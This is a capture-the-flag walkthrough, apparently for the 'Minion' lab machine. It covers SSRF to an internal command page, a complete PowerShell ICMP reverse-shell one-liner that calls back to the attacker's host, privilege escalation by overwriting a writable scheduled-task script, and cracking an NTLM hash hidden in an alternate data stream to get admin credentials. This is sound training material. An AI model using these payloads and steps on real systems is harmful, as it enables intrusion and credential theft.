Minion write-up
Ανάλυση του Minion
Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.57
Starting masscan 1.0.4
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 62696/tcp on 10.10.10.57
rate: 0.00-kpps, 100.00% done, waiting 3-secs, found=1
We found TCP port 62696 open. Let’s explore it using nmap:
$ sudo nmap -A -p62696 10.10.10.57
Starting Nmap 7.70 ( https://nmap.org )
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 100.00% done; ETC: 18:14 (0:00:00 remaining)
Nmap scan report for 10.10.10.57
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
62696/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|7 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_7::-:professional
Aggressive OS guesses: Microsoft Windows Server 2012 (90%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (90%), Microsoft Windows Server 2012 R2 (90%), Microsoft Windows 7 Professional (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Brute forcing directories and files
$ dirsearch -u http://10.10.10.57:62696 -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e asp,aspx -x 400
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: asp, aspx | Threads: 10 | Wordlist size: 661562
Target: http://10.10.10.57:62696
[19:22:48] Starting:
[19:22:59] 200 - 41B - /test.asp
[19:23:01] 200 - 20B - /backend/
[19:25:27] 200 - 41B - /Test.asp
...
Let’s explore http://10.10.10.57:62696/test.asp:
Missing Parameter Url [u] in GET request!
Interesting. It asks for a “u” parameter. Maybe “u” means URL. Let’s try http://10.10.10.57:62696/test.asp?u=http://127.0.0.1 (i.e. localhost):
<html>
<body>
<center>
<h1>Site Administration</h1>
<table border=1>
<tr><td><a href="">Edit Configuration</a>
<tr><td><a href="">Start/Stop Instance</a>
<tr><td><a href="">View Summary</a>
<tr><td><a href="">View Logs</a>
<tr><td><a href="http://127.0.0.1/cmd.aspx">system commands</a>
</table>
</body>
</html>
Bingo! This “cmd.aspx” looks very promising… Let’s visit http://10.10.10.57:62696/Test.asp?u=http://127.0.0.1:80/cmd.aspx:
<html>
<body>
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40>
</form>
</body>
</html>
Hmmmm… The method is POST and the parameter is named “xcmd”. Nevertheless, let’s make an experiment. We are going to use the GET method and pass the xcmd parameter via the URL. We will set the xcmd = ping -n 3 10.10.14.161: http://10.10.10.57:62696/Test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=ping%20-n%203%2010.10.14.161
On our side, let’s see if we capture any pings coming from MINION (10.10.10.57):
$ tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
18:54:11.34867 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14290, length 40
18:54:11.34868 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14290, length 40
18:54:12.35746 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14301, length 40
18:54:12.35747 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14301, length 40
18:54:13.34309 IP 10.10.10.57 > 10.10.14.161: ICMP echo request, id 2, seq 14310, length 40
18:54:13.34310 IP 10.10.14.161 > 10.10.10.57: ICMP echo reply, id 2, seq 14310, length 40
Getting shell
It’s time for us to get a shell. On our side we can run icmpsh_m.py from https://github.com/inquisb/icmpsh and on MINION we can send this payload: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1 The problem is that if we try to send this payload via the xcmd paremeter some symbols are getting filtered (“+”, “&“, “/”) and there is also a size limit. We can double url-encode the special symbols to pass them through. We can also use multiple “echo >>” commands to write a ps1 script file and indeed many guys followed that path. But I chose a different way. Just for fun, I wrote my own -very compact- one-liner payload without using any “+”,”&” symbols:
$ip = 'LHOST'; $id = 'UNIQUEID'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function s($b) { $ic.Send($ip,5000,([text.encoding]::ASCII).GetBytes($b),$po) }; function p { -join($id,'[P$] ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') }; while ($true) { $r = s(p); if (!$r.Buffer) { continue; }; $rs = ([text.encoding]::ASCII).GetString($r.Buffer); if ($rs.Substring(0,8) -ne $id) { exit }; try { $rt = (iex -Command $rs.Substring(8) | Out-String); } catch { $rt = ($_.Exception|out-string) }; $i=0; while ($i -lt $rt.length-110) { s(-join($id,$rt.Substring($i,110))); $i -= -110; }; s(-join($id,$rt.Substring($i))); }
You can see I did some tricks like using $i -= -110 instead of $i += 110 etc. My script has a feature of unique ids, because -when using the ICMP protocol- things can get quite messy if multiple payloads are running simultaneously. You can download my script from here: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Minion/icmp_alamot.py
Now, let’s get a shell (don’t forget to change LHOST inside the script):
$ sudo python2 icmp_alamot.py
Sending powershell ICMP payload [UID=35cfb54c] and waiting for shell...
[P$] apppool\defaultapppool@MINION inetsrv> ls C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 9/4/2017 7:42 PM accesslogs
d---- 8/10/2017 10:43 AM inetpub
d---- 3/28/2018 6:31 AM Microsoft
d---- 8/22/2013 8:52 AM PerfLogs
d-r-- 9/25/2017 1:51 AM Program Files
d---- 8/10/2017 9:42 AM Program Files (x86)
d---- 8/24/2017 1:28 AM sysadmscripts
d---- 3/28/2018 8:51 AM temp
d-r-- 9/4/2017 7:41 PM Users
d---- 9/10/2017 10:20 AM Windows
Getting decoder
The folder sysadmscripts seems interesting:
[P$] apppool\defaultapppool@MINION inetsrv> ls C:\sysadmscripts
Directory: C:\sysadmscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 3/28/2018 8:47 AM 176 c.ps1
-a--- 8/22/2017 10:46 AM 263 del_logs.bat
Let’s see the contents of del_logs.bat:
[P$] apppool\defaultapppool@MINION inetsrv> cat C:\sysadmscripts\del_logs.bat
@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt
We can’t read this c:\windows\temp\log.txt but if we do a dir in different times we can see that its LastWriteTime changes every 5 minutes.
[P$] apppool\defaultapppool@MINION inetsrv> dir c:\windows\temp\log.txt
Directory: C:\windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 4/10/2018 12:01 PM 197511 log.txt
Let’s examine the permissions in the sysadmscripts folder:
[P$] apppool\defaultapppool@MINION sysadmscripts> ls | get-acl | fl
Path : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\c.ps1
Owner : BUILTIN\Administrators
Group : MINION\None
Access : Everyone Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow FullControl
Audit :
Sddl : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;FA;;;WD)(A;
;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;BU)
Path : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\del_logs.bat
Owner : BUILTIN\Administrators
Group : MINION\None
Access : Everyone Allow ReadAndExecute, Synchronize
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadAndExecute, Synchronize
Audit :
Sddl : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;0x1200a9;;;
WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;BU)
User decoder runs the script c.ps1 every 5 minutes and we can overwrite it with our own payload. The problem is that in a multi-user, multi-hacker environment everyone else can (and want to) do the same. So, we have to be very patient and very lucky to succeed. Moreover, sometimes the MINION box is quite laggy even after a fresh reset. I don’t know why this happens. So, let’s be patient and hope our c.ps1 payload will not be overwritten till it is executed.
Inside icmp_alamot.py, I have coded some extra features:
# > UPLOAD local_path remote_path
# (to upload a file using the HTTP protocol via xcmd, "echo >>" commands and
# base64 encoding/decoding)
# e.g. > UPLOAD myfile.txt C:\temp\myfile.txt
#
# > DOWNLOAD remote_path
# (to download a file using the ICMP protocol and base64 encoding/decoding)
# e.g. > DOWNLOAD C:\temp\myfile.txt
#
# > DECODER (to get user decoder)
#
# > ADMIN (to get user admin)
If you are curious have a look in the code. The command DECODER I have coded uses HTTP to upload our payload in c:\sysadmscripts\c.ps1:
[P$] iis apppool\defaultapppool@MINION inetsrv> DECODER
Uploading c.ps1 to c:\sysadmscripts\c.ps1
MD5 hash: 9e860b7e4773f394c7aa9be5b88b7cfc
Data Length: 976 bytes
100%|█████████████████████████████████████████████████████████████████████████| 990/990 [00:01<00:00, 795.59bytes/s]
Waiting for decoder shell...
[P$] minion\decoder@MINION system32> whoami
minion\decoder
Getting admin
There is a backup.zip in the folder C:\users\decoder.MINION\Desktop:
[P$] minion\decoder@MINION system32> cd C:\users\decoder.MINION\Desktop
[P$] minion\decoder@MINION Desktop> ls
Directory: C:\users\decoder.MINION\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/4/2017 7:19 PM 103297 backup.zip
-a--- 8/25/2017 11:09 AM 33 user.txt
We can unzip the backup.zip using powershell commands:
Add-Type -AssemblyName System.IO.Compression.FileSystem; function Unzip { param([string]$zipfile, [string]$outpath); [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath); }; Unzip "C:\Users\decoder.MINION\Desktop\backup.zip" "C:\temp\unzip"
But we are not gonna find anything useful inside this zip archive. But do you know/remember ADS (Alternate Data Streams)? Let’s have a look:
[P$] minion\decoder@MINION Desktop> cmd /C dir /Q /R
Volume in drive C has no label.
Volume Serial Number is 143B-1804
Directory of C:\users\decoder.MINION\Desktop
09/22/20017 04:43 PM <DIR> MINION\decoder .
09/22/2017 04:43 PM <DIR> NT AUTHORITY\SYSTEM ..
09/044/2017 07:19 PM 103,297 BUILTIN\Administrators backup.zip
34 backup.zip:pass:$DATA
08/25/2017 11:09 AM 33 BUILTIN\Administrators user.txt
I like the old cmd command dir /Q /R because it is brief and it shows very concisely the owners (/Q) and the ADS (/R). But If you want, you can see the ADS using Powershell too:
[P$] minion\decoder@MINION Desktop> Get-Item -Path c:\users\decoder.MINION\Desktop\backup.zip -stream *
FileName: C:\users\decoder.MINION\Desktop\backup.zip
Stream Length
------ ------
:$DATA 103297
pass 34
Let’s read this ADS:
[P$] minion\decoder@MINION Desktop> type c:\users\decoder.MINION\Desktop\backup.zip:pass
28a5d1e0c15af9f8fce7db65d75bbf17
We found a hash. Let’s discover its type:
$ hashid 28a5d1e0c15af9f8fce7db65d75bbf17
Analyzing '28a5d1e0c15af9f8fce7db65d75bbf17'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
We are in a Windows environment, so it’s probably NTLM. Let’s reverse this hash:
$ hashcat -h | grep NTLM
...
1000 | NTLM | Operating Systems
$ hashcat -a0 -m 1000 28a5d1e0c15af9f8fce7db65d75bbf17 /usr/share/dict/rockyou.txt
...
28a5d1e0c15af9f8fce7db65d75bbf17:1234test
...
If we try it, we are gonna find that this is the administrator password. We can execute commands as administrator like this:
$user = '.\administrator'; $passwd = '1234test'; $secpswd = ConvertTo-SecureString $passwd -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $user, $secpswd; invoke-command -computername localhost -credential $credential -scriptblock { COMMANDS }
The way I used to get an admin shell is by replicating my ICMP powershell payload inside the scriptblock:
$user = '.\administrator'; $passwd = '1234test'; $secpswd = ConvertTo-SecureString $passwd -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $user, $secpswd; invoke-command -computername localhost -credential $credential -scriptblock { $ip = 'LHOST'; $id = 'UNIQUEID'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function s($b) { $ic.Send($ip,5000,([text.encoding]::ASCII).GetBytes($b),$po) }; function p { -join($id,'[P$] ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') }; while ($true) { $r = s(p); if (!$r.Buffer) { continue; }; $rs = ([text.encoding]::ASCII).GetString($r.Buffer); if ($rs.Substring(0,8) -ne $id) { exit }; try { $rt = (iex -Command $rs.Substring(8) | Out-String); } catch { $rt = ($_.Exception|out-string) }; $i=0; while ($i -lt $rt.length-110) { s(-join($id,$rt.Substring($i,110))); $i -= -110; }; s(-join($id,$rt.Substring($i))); } }
Again, I have automated this procedure inside my script. So getting admin is a simple as typing “ADMIN” :P
[P$] minion\decoder@MINION Desktop> ADMIN
[P$] minion\administrator@MINION Documents> whoami
minion\administrator
[P$] minion\administrator@MINION Documents> cd ..\Desktop
[P$] minion\administrator@MINION Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/26/2017 6:18 AM 386479 root.exe
-a--- 8/24/2017 12:32 AM 76 root.txt
[P$] minion\administrator@MINION Desktop> cat root.txt
In order to get the flag you have to launch root.exe located in this folder!
Well, we can get the root flag by executing .\root.exe or C:\Users\Administrator\Desktop\root.exe. If this doesn’t print the flag try using cmd (sometimes I had problems to print the flag and the cmd way is what worked for me):
[P$] minion\administrator@MINION Desktop> .\root.exe
25afc18b756db15085428015928a1cf1
[P$] minion\administrator@MINION Desktop> C:\Users\Administrator\Desktop\root.exe
25afc18b756db15085428015928a1cf1
[P$] minion\administrator@MINION Desktop> cmd /c 'root.exe'
25afc18b756db15085428015928a1cf1
The reason for an executable root.exe instead of a root.txt is to force us to impersonate the Administrator instead of doing, for example, something like this:
net use I: \\10.10.10.57\C$ /user:administrator "1234test"
type I:\Users\Administrator\Desktop\root.txt
Now that we are admins, let’s explore a little that scheduled task:
[P$] minion\administrator@MINION Desktop> cat c:\windows\temp\log.txt
...
Wed 09/06/2017 17:41:16.01 start job
Wed 09/06/2017 17:46:16.01 start job
Wed 09/06/2017 17:51:16.03 start job
...
[P$] minion\administrator@MINION Desktop> Get-ScheduledTask | Where State -ne "Disabled" | Select TaskName
...
delete_logs
...
[P$] minion\administrator@MINION Desktop> Get-ScheduledTask | Where TaskName -eq "delete_logs" | Get-ScheduledTaskInfo
LastRunTime : 10/14/2017 12:11:11 AM
LastTaskResult : 0
NextRunTime : 10/14/2017 12:16:16 AM
NumberOfMissedRuns : 0
TaskName : delete_logs
TaskPath : \
PSComputerName :
[P$] minion\administrator@MINION Desktop> Export-ScheduledTask -Taskname delete_logs
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2017-08-10T16:36:36.2851262</Date>
<Author>WIN-2RTO3C7989S\Administrator</Author>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<Repetition>
<Interval>PT5M</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2017-08-10T16:36:16.9925913</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel>
<UserId>decoder</UserId>
<LogonType>Password</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\sysadmscripts\del_logs.bat</Command>
</Exec>
</Actions>
</Task>
Thal’s all folks :)